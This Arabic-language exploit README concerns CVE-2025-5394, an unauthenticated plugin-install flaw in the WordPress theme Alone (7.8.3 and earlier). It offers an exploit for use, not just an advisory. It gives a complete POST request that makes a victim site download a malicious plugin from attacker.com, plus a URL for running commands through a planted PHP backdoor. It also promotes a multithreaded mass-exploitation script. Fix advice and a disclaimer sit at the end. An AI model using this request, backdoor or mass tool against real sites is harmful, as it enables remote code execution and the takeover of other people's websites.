CVE-2025-5394 – قالب ووردبريس Alone <= 7.8.3 - ثغرة رفع ملف عشوائي غير مصادق عليه عبر تثبيت الإضافة

🔥 ملخص الثغرة
قالب ووردبريس Alone بالإصدارات <= 7.8.3 يعاني من ثغرة رفع ملف عشوائي غير مصادق عليه. هذه الثغرة تسمح لـ المهاجمين غير المصادق عليهم برفع وتثبيت ملفات ZIP للإضافات عشوائية من عناوين URL بعيدة عبر نقطة نهاية AJAX غير محمية — مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) عن طريق نشر إضافات مخترقة.

تنجم هذه الثغرة عن الوظيفة beplus_import_pack_install_plugin المكشوفة للجمهور عبر wp_ajax_nopriv_ دون أي تحقق من المصادقة أو الصلاحيات. تقوم الوظيفة بتثبيت وتفعيل إضافة من عنوان URL يوفره المستخدم.

🔍 القالب المتأثر

• اسم القالب: Alone – قالب ووردبريس خيري متعدد الأغراض غير ربحي
• الإصدار المتأثر: <= 7.8.3
• نوع الثغرة: رفع ملف عشوائي غير مصادق عليه → RCE
• معرف CVE: CVE-2025-5394
• درجة CVSS: 9.8 (حرجة)
• التأثير: تنفيذ تعليمات برمجية عن بُعد كامل (RCE) واختراق كامل للموقع

🧪 ميزات الاستغلال

• 🔓 لا يتطلب مصادقة
• 📦 يرفع ملف ZIP ضار للإضافة مباشرة من عنوان URL بعيد
• 🚀 يقوم تلقائيًا بتثبيت وتفعيل الإضافة
• 🐚 يدعم توصيل webshell عبر PHP المضمن في الإضافة
• ✅ نقطة نهاية AJAX يمكن للمستخدمين غير المصادق عليهم الوصول إليها: /wp-admin/admin-ajax.php?action=beplus_import_pack_install_plugin

🧠 الباحث

• الفضل: Thai An

🚀 الاستخدام

1. قم بتجهيز ملف ZIP ضار للإضافة مستضاف على خادم تتحكم فيه.

   • يجب أن يحتوي على ترويسة إضافة صالحة (Plugin Name:) وباب خلفي PHP (مثل bk.php)

2. قم بتشكيل طلب POST التالي:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: victim.com
   Content-Type: application/x-www-form-urlencoded
   
   action=beplus_import_pack_install_plugin&
   data[plugin_slug]=hello-dolly&
   data[plugin_source]=https://attacker.com/hello-dolly.zip
   

3. إذا نجحت العملية، سيتم تثبيت وتفعيل الإضافة. قم بالوصول إلى shell الخاص بك على:

   root@kitploit:~

   https://victim.com/wp-content/plugins/hello-dolly/bk.php?cmd=id
   

🧰 نص الاستغلال الجماعي يحتوي هذا المستودع على أداة استغلال جماعي مع:

• معالجة متعددة الخيوط
• إضافة تلقائية لبادئة HTTPS (إذا كانت مفقودة)
• تسجيل حي للأهداف الناجحة في result.txt

راجع mass_beplus_exploit.py للتفاصيل.

🛠 توصيات الإصلاح

• يجب على مطوري القالب إزالة أو تأمين الخطاف wp_ajax_nopriv_beplus_import_pack_install_plugin.
• تطبيق تحقق من المصادقة/الصلاحيات (مثل current_user_can('install_plugins'))
• التحقق من مصادر الإضافات وتقييدها.
• استخدام جدار حماية تطبيقات الويب (WAF) لحظر الوصول غير المصرح به إلى admin-ajax.

🔒 إخلاء المسؤولية:
يتم تقديم هذه المعلومات لأغراض تعليمية واختبار أمني مصرح به فقط. الوصول غير المصرح به أو استخدام أنظمة الكمبيوتر غير قانوني وغير أخلاقي.

📚 المرجع:

• استشارة Wordfence – CVE-2025-5394

CVE: CVE-2025-5394
الباحث: Thai An